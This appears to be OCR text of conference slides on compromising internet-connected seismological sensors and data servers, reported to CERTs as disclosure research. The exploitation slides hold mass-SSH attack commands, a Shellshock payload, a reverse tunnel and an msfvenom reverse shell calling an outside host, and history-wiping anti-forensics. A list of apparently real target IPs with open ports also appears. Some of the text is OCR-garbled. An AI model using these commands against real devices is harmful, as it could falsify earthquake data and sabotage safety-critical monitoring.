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Disclaimer

- All vulnerabilities have been reported to U.S CERT
and EU-CERT

- We are not responsible of the actions that
someone can take after attend this talk
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Motivation, Why we are interested in seismological
networks?

- An average attacker is not interested for this
targets

- Cool scenario: "extreme environment”

- Could lead to a financial sabotage to a specific
company/country




Seismic and volcanic activity
In many developing countries
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Basic Seismology

The main purpose of a seismic network is to:

e Record earthquakes with seismic stations

e Find the location of the earthquake

e Calculate the magnitude of the earthquake

e Process and store the data for further scientific
analysis
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Seismometers
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Seismometers are instruments that measure motion of the
ground, including those of seismic waves generated

by earthquakes, volcanic eruptions, and other seismic
sources. Records of seismic waves allow seismologists to
map the interior of the Earth, and and the
size of these different sources.

Wikipedia Drilling System Reliability

Deepwater Angola -
World's Most Complex BHA

Common aplications:

-Earthquake detection

-Geophysics, geothermal development
-Structural analysis

-Mine safety

-Fracking / Drilling

SeismicVISION
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This increased understanding can lead to improved oil and gas recovery.
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Seismic Sensors
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Internals

Linux based OS
Remote management
SSH TELNET FTP
Web Server

GPS Ocean bottom
Battery/Solar panels




What 1s a Taurus?

Broadband Seismometer : b
(Trillium 240) Data Acquisition Server
(NAQS)

Portable Digital Seismograph
(Taurus)
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Seismometers capture transient phenomenon.

. “You need to be absolutely sure the sensor will

perform perfectly every time,” says Jeff Potter, director of marketing at
Nanometrics. “Seismometers also need to be small and consume very little
power when they level themselves, and that’s where MICROMO has helped.”
The leveling mechanism integrates the following devices:

The AM1020-V-6-65, a in a 10-mm-diameter, two- phase stepper motor that
provides a peak torgue of 1.6 mNm. With 20 steps per revolution, and
PRECIstep technology, the motor offers reliable, accurate motion, even in harsh
environments.

A 10/1 planetary gearbox provides a 256:1 reduction ratio in a 10-mm-
diameter package.
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FDSN is a global organization supporting seismology
research

FDSN Publications
)SN is responsible for the creation and maintenance of two publications

FDSN Station Book

SEED Reference Manual

for the Exchange of Earthquake Data (SEED) Manual

Additional Publications

FDSN Station Map and Listings
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IMPACT

We discovered that these instruments/devices are connected to the Internet

but they lack proper security policies
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What if a fake earthquake magnitude 8 on the Richter scale
"Were shaking" the city of Madrid? Probably, even being a
hoax, the economy would suffer a collapse and some
companies would have serious problems due to the
uncertainty.
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What if a company modifies the sensors of other company
In order to generate wrong results.

GAS & OIL INDUSTRY
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What if Data Acquisition Servers contains corrupted data?
Predictions will fail?

Scientists jailed for manslaughter
because they did not predict deadly
earthquake in Italy which killed 309
people have been cleared

. Town of LAquila was struck by quake, which measured 6.3 on Richter Scale
. Hundreds were killed and thousands were left homeless in 2009 disaster

- Scientists visited town days before but concluded there was little risk

. They were sentenced to six years each in prison following 2012 trial

- Some of the Italy's most respected seismologists were among those jailed

Disclaimer: we are not suggesting relation between the newspaper note and title




TOO MUCH TALK!!

ROOT..
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DISCOVERY

Footprinting, How we discovered this device?

NETDB.IO
Fingerprinting

Getting the FIRMWARE
Reading the papers
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How we discovered this devices?

netchH

lot Search Engine

DEMO
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DISCOVERY

content-length:

t-Encoding

;1ox (Linuxf2.

Fingerprint

text/html

Jetty/5.1.x
Linux/2.4.24 ol e et/ himasia g T
ppc java/1.5.0
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Daty <& i Open ~ = Add Files 3=+ Extract

DIE:‘DFER? l D S lj & Back & 4 MW Location ftaurus-release-3.7.5/

MName Type

apollo-taurus-5.5.8.1gz 11.8MB Tar archive (g...
deploy-tools-1.0.12.sh 805 bytes shell script
deploy-tools-1.0.12.1gz 94.5kB Tar archive (g...
gps-tnimble-installer-1_0_0.tgz 204 BkB Tar archive (g

manifest. md5 1.6kB unknown

mianifest. md5.md5 47 bytes unknawn

»
G ettl I I g t I I e powermanager-a-3_3 10.nbf 27. unknown

powermanager-b-3 3 10.nbf 7.1 unknown
ppc-browser-1.0.3.tgz Tar archive (g.

u
FI rmWa re ppc-kernel-taurus-1_4.9.bin unknown

ppc-libgo-4.3.3-NMX-1.0.4.tgz Tar archive (g
ppe-rootfs-update-3.1.00sh shell script
ppc-rootfs-update-3.1.0.1gz2 : Tar archive (g...

taurus-expectedVersions-3.7.5 nbf unknown

taurus-filesystem.igr . Tar archive (g...

"taurus-release-3.7.5.tgz" (13.2 MB) Tar archive (gzip-compressed) = = =
taurus-installer.tgz 27.0ke Tar archive (g...

TaurusPkg.txt 24 bytes plain text doc...
tdp-arm-a-4_2_6.nbf 259.8kB unknown
tdp-arm-b-4_2 _6.nbf 259.8kB unknown
tdp-coeff-2_0_4.nbf 17.9kB unknown

tdp-dsp-4_0_ f 90.5kB unknown
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DISCOVERY

BUSTED...but too late for them

Dear Bertin
Nanometrics software and firmware can only be provided to registered customers and | do not see your organization registered in our customer database.
What is the serial number of the Taurus you wish to upgrade?

Regards,
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SEED

Reference Manual

Standard for the Exchange of Earthquake Data

SEED Format Version 2.4
August, 2012
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DISCOVERY

Gathering information from the docs.

S E E D P ROTOCO L The Standard for the Exchange of Earthquake Data (SEED) is a data format

intended primarily for the archival and exchange of seismological time series data and related metadata.

Data identification nomenclature:
° Network code: a 1 or 2 character code identifying the network/owner of the data. These codes are assigned by the FDSN to provide

unigueness to seismological data, new codes may be requested. (network code could be spoofed?)

Station code: a 1 to 5 character identifier for the station recording the data.

Location ID: a 2 character code used to uniquely identify different data streams at a single station. These IDs are commonly used to
logically separate multiple instruments or sensor sets at a single station.

Channel codes: a 3 character combination used to identify the 1) band and general sample rate 2) the instrument type and 3) the
orientation of the sensor. A convention for these codes has been established and is documented in Appendix A of the SEED Manual.



http://www.fdsn.org/forms/netcode_request.htm
http://ds.iris.edu/dms/nodes/dmc/data/formats/seed-channel-naming/
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DISCOVERY

gin menu Hama - Stall
System status

E r ZCF in Pail & " GCF n. Porl B ':‘ GCF Sefeam mibwick clicnl dinstands 1] "] GCF oul Data Dl
iystern status |
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|

cns o et copyrght T S0ES. Saralp Syvhores Linitecl

SYSTEMS: s

Timestamp of st packed recanad: 2016-07-04T0M-40:43.0002

GURALP Systems are easy to find localhost
looking in the SSL certificate = CMG-EAM

metadata in NetDB
= Guralp Systems Ltd.
= England
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SERVICE

DISCOVERY ENUMERATION

TOOLS

collect-ips-worlwide-taurus-devices.py: Scans from NETDB.IO and SHODAN devices with the
taurus fingerprint.

nmap-csv-ports.pl: Converts nmap results to <IP,HOST,<PORTS,>>

scan_devices.sh: By each ip will scan the opened ports




f nnap -v -35 -0 19.2.2.2

Starti U, 2.5M0ETA2S
m.n'ﬂn::?mp-m for TCP sequencing (3), 0% detection
atcwrate
Interesting ports on 10.2,2.2:
(Ihe 1539 ports scanned but net shown below are in state: el
Fart ftate Service

npen s5h

o exact OF matches for host

Hoap run completed -- 1 IF address (1 host )} scanneds
T wshouke rlfi.?.t =rootpw="Z10M0101~ s
Connecting to 10,2,

2.2:58h ... successful,
ting to ewpleit $SHWe1 cRCIZ? ssa SUCCRSSFuUl,
Ling rost password to “E£10Me1=,
Lyilem open: Rccess Lewel <93
8 53k 18.7.7.7 -1 rost

Featinge.2.2.2's password: [ |

ACCESS CRANTED
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ey SERVICE
PISCO ENUMERATION

!74.142.39.36 25 110
5.39.116.148 22 80 8080
201 .24.183.32 2000 8888
166.-.130.183.52 21 22 23 80 8080
l66.1649.71.115 21 22 23 53 80 8080
2.180.22.55 21 22 23 80
L78.63.176.215 21 25 53 80 iio 143 465 587 993 995 31zs8 3306
166.130.183.54 21 22 80 8080
166.130.183.55 21 22 23 80 8080
?00.91.36.51 21 22 23 80
188.128.151.167 21 22 25 80 110 143 443 465 587 290 293 Q95 1433 3306 5432
188.164.16.58 7 =] 13 22 25 26 37 53 79 80 81 106 110 111 113 119 135 139
143 144 i79 1399 389 427 4494 445 465 513 514 515 543 Sid4 548 554 587 631 6416 873 990
393 995 1025 1026 1027 1028 1029 1110 1433 1720 1723 1755 1500 2000 2001 2049 2121 2717 3000 3128 3306
3389 3986 4899 5000 5009 5051 5060 5101 5150 5357 5432 5631 5666 5800 53900 6000 6001 6646 TOTO 8000 8008
3009 8080 8081 8443 8888 100 o999 10000 32768 49152 49153 491.5% 49155 49156 49157
1l66.130.183.57 21 22 23 80 8080
l66.130.183.56 21 22 23 80 8080
l66.164.71.124 21 22 23 53 80 8080
176.82.50.70 23 80
?05.209.96.140 21 25 80 873 1025 1029
31.149.84.72 80 8080
174.90.218.80 21 22 23 80 8080 TELNET SSH AND HTTP
166.1649.66.80 21 22 23 53 80 8080 I
31.136.168.84 80 8080
35.125.91.94 80 443
31 .149.12.88 80 8080
35.125.91.91 80
L76.227.141.97 80 8080
33 .225.55.99 21 22 25 53 80 iio 143 44 465 587 993 935 3306
l66.148.84.108 21 22 23 53 80 8080
174.47.150.173 80 81 135 139 445 1025 3389 5666 8081
5.190.225.107 53 80
176.227.142.108 22 80 443 8080
166.164.71.117 21 22 23 53 80 8080
166.148.84.109 21 22 23 53 80 8080
166.-.148.84.116 21 22 23 53 80 8080
166.148.84.113 21 22 23 53 80 8080
23 = 80 8080
23 53 80 8080
23 53 80 8080
23 53 80 8080
23 53 80 8080

L X Top
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SERVICE APPLICATION

DISCOVERY
ENUMERATION LAYER TESTING

y L - .
e C | @ /images.html?%fghfghfgh

Screenshots of = T

the Web
Application:

Execute ./screenshot-ips.py
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SERVICE APPLICATION

DISCOVERY
ENUMERATION LAYERTESTING

EXPLOIT

4.1...nfiguration %

wa @

. problem occurred in the page: http:// /pages/taurus/configuration/configuration.page?newbread=true&
bageTitle=Configuration

J etty ba. na:mmetl ics.web,controller.ControllerException: Problem invoking JSP
i

rics.webh.ActionServlet.invoke]splapollo.ppc)
web.ActionServlet.processRequest(apollo.ppe)

sa.nanometrics.web.ActionServlet. {apollo.ppc)
e rve r it javax, serviet.http. HitpServlet.service(apollo.ppc)
it javax.servlet http. HttpServiet service{apollo.ppc)

rvletHolder.handle(apollo.ppc)
ity serviet. WebApplicationHandler$ Cached Chain. doFilter(apollo. ppc)
anometri pollo taurus,ui.SplashFilter.doFilter(apollo.ppc)
i |-1l\-' servlet, WebApplicationHandler$ Cached Chain.doFilter(apollo. ppe)
s web. NoCacheFilter.doFilter(apollo.ppe)
f ) viet WebApplicationHandlersCached Chain.doFilter(apollo. ppe)
it org.morthay,j erviet, WebApplicationHandler.dispatch(apollo. ppe)
it org.mortbay,jetty.serviet. ServietHandler. handle(apollo.ppe)
it org.mortbay http. HetpContext. handle(apollo.ppc)
it org.mortbay.http. HitpContext handle(apollo.ppc)
it org.mortbay http. HitpServerservice(apollo.ppe)
it org.mortbay http. HitpConnection. service{apollo.ppc)
ht org.mortbay.http. HitpConnection.handleNext{apollo.ppc)
hit org.mortbay.hitp. HitpConnection. handle{apollo.ppc)
ht org.mortbay.http.SocketListener. handleConnection(apollo.ppc)
ht org.mortbay.util. ThreadedServer.handle(apollo.ppe)
ht org.mortbay.util. ThreadPool$ PoolThread. run({apollo.ppc)
Caused by: javax.servlet. ServletException: init
ht org.mortbay jetty.servlet. ServletHolder.getServiet(apollo.ppe)
ht org.mortbay jetty.serviet. ServietHolder.handle(apollo.ppc)
t org.mortbay.jetty servlet. WebApplicationHandler.dispatch(apollo. ppc)
it org.mortbay jetty.serviet. Dispatcher.dispatch(apollo. ppc)
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SERVICE APPLICATION

DISCOVERY
ENUMERATION LAYERTESTING

Firmware Analysis:

Backdoor!
Factory user is not in official documentation.




Ok , now we are root so .. What's next ?

#root

Viadirmir Kol
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SERVICE APPLICATION

DISCOVERY
ENUMERATION LAYERTESTING

EXPLOIT

Shellshock:

Testing.. you know..
PWD!! Shellshock!




Take a malicious user perspective
to protect YOUR data.
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SERVICE APPLICATION ; POST .
DISCOVERY . UMERATION LAYERTESTING  CXPLOIT ExplOITATION

Exploiting and attacking a seismological network... remotely

Man In

n $ Broadband sensor connected to the ineternet
ssh
| I I
M I l web server
e Attacker

Internet

Several attack vectors can compromise the security of a broadband
sensor used to measure the seismological activity in a specific geo-
spatial area (ex.ground,sea).

The problem is :

This devices are connected to the public internet

We're going to demonstrate in a real attack scenario how we can

take control REMOTELY of one of this devices and modify the data Data aequisition/research center - seismological network owner

sent to the acquisition network in order to inject a false positive in
the seismological network research.
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80 123456789812 3456789012345678908.1
-+ttt -t -t -ttt -ttt -ttt -ttt -t -ttt -ttt -t -t -F-F-+-+
np version | pcketsize |
R T E b kS e e b s s ST S S S S S A S S &
metaSequence | Sequence Number | starttime |
TRk Eh L B L T e s B T S TR T T T P P D S T T S S S e R
Originate Timestamp |
ct-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-+-+-+
Latitude | Longitude | Altitude |
~+-t-t-t-F-t-t-F-F-F-t-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F-F+-F-+-+-+
DataSource |
-+-+-+-t-F-F-t-t-F-F-F-t-t-F-F-F-F-F+-F-F-F-F-F+-F-F-F-F-+-+-+-+-+
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SERVICE APPLICATION : POST

DISCOVERY  ENUMERATION LAYERTESTING  EXPLOIT  ExpLoOITATION

Massive Exploiting of the Seismological Networks:

Disclaimer: please do not try to brake the network, scientist use network to save
hundreds of lives, our lives.

Before using the script Executing massive process:
e Disable your SSH HOST KEY CHECKING feature - Load txt file with the targeted ips
e Tunneling/proxying chain - execute ./parallel-ssh-tauros.py and we
arein.!
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SERVICE  APPLICATION ¢ posr i
DISCOVERY L \UMERATION LAYERTESTING =XPLOIT  ExplOITATION

Massive Exploiting of the Seismological Networks:

More examples:

./parallel-ssh-tauros.py -t targets.txt -c uname

./parallel-ssh-tauros.py -t targets.txt -c “x='() { :;}; echo restart' bash -c:"
./parallel-ssh-tauros.py -t targets.txt -c “ssh -NR 3333:localhost:22 user@yourhost”
./parallel-ssh-tauros.py -t targets.txt -c “msfvenom -a x86 --platform linux -p
linux/x86/shell/reverse_tcp LHOST=1
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SERVICE APPLICATION : POST

DISCOVERY £ nUMERATION LAYERTESTING  EXPLOIT  expioiTATiOoN

./parallel-ssh-tauros.py clean

history -c

rm -rf ~/.bash_history && In -s ~/.bash_history /dev/null (invasive)
touch ~/.bash_history (invasive)

zsh% unset HISTFILE HISTSIZE

tcsh% set history=0

bash$ set +o history

ksh$ unset HISTFILE

find / -type f -exec {} (forensics nightmare)
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Conclusions

e \We are be able to locate this devices anywhere
in the world

e \We are in control of the device, the network and
the software running on it.

e Thereis no SSL in communications

e Vendors please... code better and think in

security




5 problem has been detected and windows has been shut down to prevent damage
1o your computer.

The system encountered an uncorrectable hardware error.

1f this 4s the first time you've seen this Stop error screen,
® V restart your computer.
these steps:

. check to make sure any talled.
" 1f this 15 a new instal nufacturer
for any windows updates
1f problems ¢
or software.
® V 1f you need

your compute
selact safe

NG ¢l N——
\zgng disk for crash dump ...
1 ng dump of physical memory.

7 g physical memory to disk: 100
NOTHING IS BEYOND

A GOOD HACK



